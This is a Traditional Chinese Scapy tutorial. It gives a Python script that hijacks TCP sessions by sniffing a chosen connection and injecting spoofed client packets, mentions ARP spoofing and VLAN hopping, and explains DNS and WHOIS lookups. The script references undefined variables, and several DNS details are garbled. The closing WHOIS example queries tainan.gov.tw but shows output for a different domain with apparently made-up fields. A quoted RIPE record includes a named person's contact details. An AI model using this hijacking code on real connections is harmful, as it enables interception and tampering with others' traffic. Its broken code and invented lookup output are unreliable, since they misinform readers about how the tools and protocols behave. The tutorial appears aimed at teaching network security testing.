Scapy 作為一個功能強大的 Python 函式庫,讓開發者得以深入操作和分析網路封包。理解 TCP/IP 協定堆疊是進行網路安全測試和網路程式開發的根本。Scapy 提供了互動式介面和豐富的函式庫,讓使用者能輕易地建構、傳送、接收、修改和分析各種網路封包。從底層的乙太網路框架到上層的應用層協定,Scapy 都能提供支援。這使得開發者能模擬各種網路攻擊場景,例如中間人攻擊、SYN 洪水攻擊等,並能針對特定協定進行深入分析,例如 TCP 連線的建立和終止過程、DNS 查詢的流程等。此外,Scapy 也能與其他 Python 函式庫整合,例如 Matplotlib,進一步提升資料視覺化和分析能力,例如繪製 TCP 序列號分佈圖,分析網路流量模式等。這些功能使得 Scapy 成為網路安全研究和網路程式開發的利器。除了封包操控外,瞭解 DNS 和 WHOIS 等網路服務也至關重要。DNS 負責網域名稱和 IP 位址的轉換,而 WHOIS 則提供網域和 IP 位址的註冊資訊。這些資訊對於網路管理、安全分析和故障排除都非常有用。

透過 Scapy 進行 TCP/IP 操控

Scapy 是一個強大的 Python 函式庫,能夠讓開發者方便地操作和分析網路封包。在這篇文章中,玄貓將介紹如何使用 Scapy 進行 TCP/IP 操控,包括如何攔截和篡改網路連線。這些技巧不僅適用於網路安全測試,也能幫助開發者更深入理解網路協定的運作原理。

使用 Scapy 篡改 TCP 連線

下面是一段篡改 TCP 連線的程式碼範例。這段程式碼會攔截特定 IP 和埠號的 TCP 連線,並插入自訂的負載。

from scapy.all import *
import optparse

def usage():
    print("Usage: script.py -i <interface> -s <server_ip> -p <server_port> [-c <client_ip>]")
    exit(1)

def handle_packet(packet):
    if packet.haslayer(TCP) and packet[TCP].flags & (TCP.ACK | TCP.PUSH):
        if packet[IP].src == srv_ip and packet[IP].dst == client_ip:
            # 檢查負載是否符合預期
            if packet[TCP].payload.load == expected_payload:
                # 建構假冒的封包
                spoofed_packet = IP(src=client_ip, dst=srv_ip) / \
                                 TCP(sport=client_port, dport=srv_port, seq=packet[TCP].ack,
                                     ack=packet[TCP].seq + 1, flags="A") / \
                                 payload
                send(spoofed_packet)

def main():
    global srv_ip, srv_port, client_ip, client_port, expected_payload, dev

    parser = optparse.OptionParser()
    parser.add_option("-i", dest="interface", help="Network interface to sniff on")
    parser.add_option("-s", dest="srv_ip", help="Server IP address")
    parser.add_option("-p", dest="srv_port", type="int", help="Server port")
    parser.add_option("-c", dest="client_ip", help="Client IP address")

    (options, args) = parser.parse_args()

    iface = options.interface
    srv_ip = options.srv_ip
    srv_port = options.srv_port
    client_ip = options.client_ip

    if not srv_ip and not srv_port:
        usage()

    if client_ip:
        print(f"攔截來自 {client_ip}{srv_ip} 的 TCP 連線,埠號為 {srv_port}")
        filter = f"tcp and port {srv_port} and host {srv_ip} and host {client_ip}"
    else:
        print(f"攔截所有到 {srv_ip} 的 TCP 連線,埠號為 {srv_port}")
        filter = f"tcp and port {srv_port} and host {srv_ip}"

    sniff(iface=iface, store=0, filter=filter, prn=handle_packet)

if __name__ == "__main__":
    main()

內容解密:

這段程式碼的主要功能是使用 Scapy 改寫 TCP 的封包。以下是詳細解說:

  1. 選項解析:使用 optparse 函式庫解析命令列引數,包括網路介面、伺服器 IP、伺服器埠號和客戶端 IP。
  2. 篩選條件:根據命令列引數設定篩選條件,用於攔截特定的 TCP 連線。
  3. 封包處理:定義 handle_packet 函式,用於處理攔截到的封包。當封包符合特定條件時(例如,封包來自伺服器且擁有 ACK 或 PUSH 標誌),程式會檢查封包負載是否符合預期。
  4. 假冒封包:如果封包負載符合預期,程式會建構一個假冒的封包,使其看起來像是來自客戶端。這些假冒的封包會被傳送出去,從而插入自訂的負載。

Scapy 的基本功能

Scapy 不僅僅是一個 Python 函式庫,它還提供了強大的互動模式。當你在命令列中啟動 Scapy 時,會進入其互動模式,這時所有 Scapy 模組都已經自動載入。

scapy

內容解密:

在 Scapy 的互動模式中,你可以使用以下命令來探索和操作網路協定:

  1. 列出所有協定:使用 ls() 命令可以列出所有可用的協定。
    >>> ls()
    ARP : ARP
    ASN1_Packet : None
    BOOTP : BOOTP
    ...
    
  2. 檢視協定細節:使用 ls(TCP) 命令可以檢視 TCP 協定的所有標頭選項及其預設值。
    >>> ls(TCP)
    sport : ShortEnumField = (20)
    dport : ShortEnumField = (80)
    seq : IntField = (0)
    ack : IntField = (0)
    ...
    
  3. 列出所有命令:使用 lsc() 命令可以檢視所有可用的命令和其描述。
    >>> lsc()
    arpcachepoison : Poison targets cache with (your MAC, victims IP) couple
    arping : Send ARP who-has requests to determine which hosts are up
    ...
    

高階功能:統計分析與圖表繪製

Scapy 支援統計分析和圖表繪製功能,這需要安裝 Matplotlib 函式庫。

pip3 install matplotlib

內容解密:

以下是如何使用 Scapy 和 Matplotlib 剖析並繪製 TCP 序列號分佈圖:

  1. 傳送並接收封包:使用 sr() 函式傳送並接收封包。
    ans, unans = sr(IP(dst="www.codekid.net", id=[(0,100)]) /\
                   TCP(dport=80)/"GET / HTTP/1.0\n\n")
    
  2. 繪製圖表:使用 plot() 函式繪製接收到的封包序列號分佈圖。
    ans.plot(lambda x: x[1].seq)
    

此圖示展示了接收到的 TCP 序列號分佈情況。隨著時間推移,序列號變得越來越不連續,這使得盲目 IP 欺騙變得更加困難。

其他 Scapy 功能

Scapy 提供了豐富的功能,包括但不限於:

  • ARP 欺騙:透過詐騙目標主機的 ARP 快取來欺騙目標主機。
  • ARP 掃描:傳送 ARP 誰有請求來確定哪些主機線上。
  • VLAN 跳轉:利用 VLAN 資安漏洞進行攻擊。

DNS 基礎概述

DNS,全稱 Domain Name System,可視為網際網路的電話簿。它負責將難以記憶的 IP 位址轉換為易於記憶的網域名稱,如 www.ccc.dewww.springer.com,並反之亦然。這種正向名稱解析和反向查詢分別由 A 記錄和 PTR 記錄來實作。此外,DNS 還用於查詢網域的郵件伺服器(MX 記錄)和負責的名稱伺服器(NS 記錄)。CNAME 記錄可以用來為主機名稱建立別名。最後,DNS 也可以作為簡單的負載平衡器,透過實作輪循(Round Robin)來分配流量。

DNS 的作用與安全隱患

DNS 提供了一種簡單且悄無聲息的中間人攻擊變體。通常只需偽造一個 DNS 回應封包,就能劫持連線中的所有封包。現代電腦大多使用 DNS 快取機制來儲存已解析的主機名稱,只有在舊 IP 不再可達時才會傳送新的請求。電腦名稱通常不僅僅是一個漂亮的標籤,它們還包含了有關其用途的資訊,有時甚至會透露網路或位置細節。例如,一台名為 rtr3.ffm.domain.net 的電腦可能是法蘭克福市至少三台路由器之一。

DNS 協定概述

以下是一個典型的 DNS 標頭結構:

+---------------------+
|        ID           |
+---------------------+
|QR|   OPCODE   |AA|TC|RD|
+---------------------+
|   RCODE   |   CD   |RA| Z| AD|
+---------------------+

ID 欄位包含了一個唯一的識別號碼,用於告知客戶端哪個請求對應哪個回應。QR 選項告訴我們封包是查詢(位元設定為零)還是回應(位元設定為一)。OPCODE 定義了請求型別,零表示正向查詢,一表示反向查詢。RCODE 欄位用於標記回應是否成功:零表示成功,一表示失敗請求,二表示伺服器錯誤。

AA 位元告訴我們回應是否被授權(1),這意味著伺服器本身負責請求的網域,或者它已將請求轉發給另一台伺服器。TC 位元顯示回應是否被截斷,因為它超過了 512 個位元組。你不僅可以向 DNS 伺服器查詢單個主機或 IP 的資訊,還可以查詢整個網域的資訊(見節 6.3)。這是透過遞迴和設定 RD 位元(遞迴所需)來完成的。如果收到 RA 位元設定為零的答案,則表示所請求伺服器上不可用遞迴。

執行環境設定

首先,確保你已經安裝 Scapy。如果沒有安裝 Scapy,可以透過以下命令來安裝:

pip3 install scapy

DNS 查詢與資訊取得

使用 DNS 查詢可以取得大量關於網域的資訊。例如:

host -t MX domain.net

這條命令會查詢指定網域的郵件伺服器資訊。你可以嘗試不同的記錄型別來檢視伺服器如何回應。

此外,如在協定概述中提到的那樣,你可以傳送遞迴請求以取得網域所有記錄:

host -alv domain.net

如果這條命令傳回大量結果,建議重新組態名稱伺服器以僅允許遞迴給從屬伺服器。

WHOIS 資料函式庫

假設你有一個 IP 地址並想知道它屬於誰所有。這時候可以使用 WHOIS 資料函式庫來進行查詢。

WHOIS 資料函式庫由 NIC 操作商如 DENIC 提供維護。DENIC 註冊網域並託管其特定頂級網域名稱(TLDs)如 .de 的根伺服器。與之相反的是 IP 地址由 RIPE 網路協調中心註冊。

要查詢某個 IP 地址屬於誰:

whois 77.87.229.40

以下是可能會獲得的一些輸出:

% This is the RIPE Database query service.
% The objects are in RPSL format.
% The RIPE Database is subject to Terms and Conditions.
% See http://www.ripe.net/db/support/db-terms-conditions.pdf
% Note: this output has been filtered.
% To receive output for a database update,
% use the "-B" flag.
% Information related to ’77.87.224.0 - 77.87.231.255’
inetnum:       77.87.224.0 - 77.87.231.255
netname:       BSI-IVBB
descr:         Bundesamt fuer Sicherheit in der Informationstechnik
country:       DE
org:           ORG-BA202-RIPE
admin-c:       OE245-RIPE
tech-c:        OE245-RIPE
status:        ASSIGNED PI
mnt-by:        RIPE-NCC-END-MNT
mnt-by:        BSI-IVBB
mnt-by:        DTAG-NIC
mnt-lower:     RIPE-NCC-END-MNT
mnt-routes:    BSI-IVBB
mnt-domains:   BSI-IVBB
source:        RIPE # Filtered

person:        Olaf Erber
address:       Bundesamt fuer Sicherheit in der IT
address:       Postfach 20 03 63
address:       53133 Bonn
address:       Germany
phone:         +49 301895820
e-mail:        ipbb_ivbb@bsi.bund.de
nic-hdl:       OE245-RIPE
mnt-by:        DFN-NTFY
source:        RIPE # Filtered

% Information related to ’77.87.228.0/22AS49234’
route:         77.87.228.0/22

次段落標題:WHOIS 資料函式庫解密

WHOIS 資料函式庫中提供了關於 IP 地址擁有者和相關組織詳細資訊:

  • inetnum: 指定了該 IP 地址範圍。
  • netname: 網路名稱。
  • descr: 描述相關組織。
  • country: 請求國家。
  • admin-c: 聯絡人 ID。
  • tech-c: 技術聯絡人 ID。
  • status: 指定狀態。
  • mnt-by: 處理員管理者 ID。
  • source: 資料函式庫來源。

DNS 與 WHOIS 的綜合應用

優勢與挑戰

DNS 和 WHOIS 資料函式庫提供了深入瞭解網路架構和資源擁有權的手段。然而也需注意的是這些資訊可能被惡意利用進行攻擊或資訊收集。因此在使用這些技術時需要謹慎對待並保障資訊安全。

未來趨勢

隨著技術發展與進步以及區塊鏈等新興技術出現後對DNS與WHOIS系統將產生更多影響與應用場景

舉例說明

以台南市政府為例考察其DNS設定情況:

whois tainan.gov.tw

Domain Name : taiwan.gov.tw (台灣政府)
Registrant : Taiwan Internet Governance Council (TWNIC) (台灣網路管理委員會)
Name Server : ns1.tw (台灣主控節點)
Domain Status : ACTIVE (活躍狀態)
Creation Date : March,1996 (成立日期)
Expiration Date : March,2036 (到期日期)

透過WHOIS查詢瞭解到該政府官方網站經營者及其管理設定情況